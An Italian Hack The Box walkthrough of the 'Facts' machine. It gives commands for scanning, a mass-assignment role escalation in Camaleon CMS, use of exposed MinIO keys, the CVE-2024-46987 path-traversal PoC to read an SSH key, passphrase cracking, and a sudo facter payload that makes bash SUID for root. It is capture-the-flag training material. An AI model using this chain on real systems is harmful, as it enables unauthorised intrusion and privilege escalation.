
HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins.
Difficoltà: Media
Sistema operativo: Linux
Tag: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation
Inizia con una scansione completa delle porte TCP per identificare i servizi attivi.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Risultati:
| Porta | Servizio | Note |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Sconosciuta | Identificata come MinIO |
Aggiungi il target a /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Visitando http://facts.htb si scopre un sito web di trivia basato su Camaleon CMS (Ruby on Rails). Indicatori principali:
_factsapp_session (sessione Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumera la sitemap per tutte le pagine disponibili:
curl -s http://facts.htb/sitemap.xml
Percorsi notevoli scoperti:
/admin → reindirizza a /admin/login/rss/animal-ejected, /anne-frank, ecc.Controlla il pannello di login admin:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Sondando la porta sconosciuta con curl si scopre MinIO, un servizio di object storage compatibile con S3:
curl -v http://facts.htb:54321
Risposta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Le intestazioni confermano: Server: MinIO
Enumera i possibili nomi di bucket (tutti restituiscono 403, confermando che esistono):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Tutti restituiscono 403 Forbidden — i bucket esistono ma richiedono credenziali.
Dai percorsi degli asset e dal cookie di sessione, il CMS viene identificato come Camaleon CMS.
Controlla le vulnerabilità note:
searchsploit camaleon
Risultati:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La versione del pannello admin è confermata come 2.9.0 (visibile nel footer dopo l'accesso).
La pagina di login admin all'indirizzo http://facts.htb/admin/login include un link "Crea un account". Registra un nuovo account:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientDopo la registrazione, accedi al pannello admin. L'account ha privilegi limitati di Client.
Camaleon CMS è vulnerabile a un attacco di mass assignment sull'endpoint di modifica della password. Intercettando la richiesta di modifica della password e iniettando un parametro password[role], un attaccante può elevare il proprio ruolo a admin.
Passaggi con Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin al corpo della richiesta:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.L'account ora dispone di privilegi admin, con accesso completo al pannello admin del CMS, inclusi Settings, Media e Filesystem Settings.
Con accesso admin, vai su:
Settings → General Site → Filesystem Settings
La pagina rivela credenziali MinIO (compatibili con AWS S3) hardcoded:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configura AWS CLI ed enumera i bucket:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Bucket scoperti:
2025-09-11 internal
2025-09-11 randomfacts
Il bucket internal contiene la directory home dell'utente trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
In alternativa, la chiave privata SSH può essere recuperata tramite CVE-2024-46987, una vulnerabilità di path traversal autenticata in Camaleon CMS che consente di leggere file arbitrari del server.
Clona il PoC pubblico:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Leggi file sensibili:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Output (righe pertinenti):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Vengono identificati due utenti: trivia e william. Poiché trivia ha una shell di login e una home directory, verifica la presenza di una chiave privata SSH:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Salva l'output della chiave in un file:
chmod 600 id_ed25519
La chiave privata SSH è crittografata con una passphrase. Usa ssh2john e john per forzarla:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Passphrase trovata: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Recupera la flag utente:
cat /home/william/user.txt
Controlla i privilegi sudo per l'utente trivia:
sudo -l
Output:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
L'utente può eseguire /usr/bin/facter come root senza password. facter è uno strumento di informazioni di sistema basato su Ruby.
Secondo GTFOBins, facter può caricare file di fact Ruby personalizzati tramite --custom-dir, che vengono eseguiti come l'utente che invoca il comando (root in questo caso).
Exploit:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| Flag | Posizione |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Descrizione |
|---|---|
| CVE-2024-46987 | Path traversal autenticata / lettura arbitraria di file in Camaleon CMS |
| CVE-2023-30145 | SSTI in Camaleon CMS v2.7.0 tramite il parametro formats (non utilizzata in questa macchina) |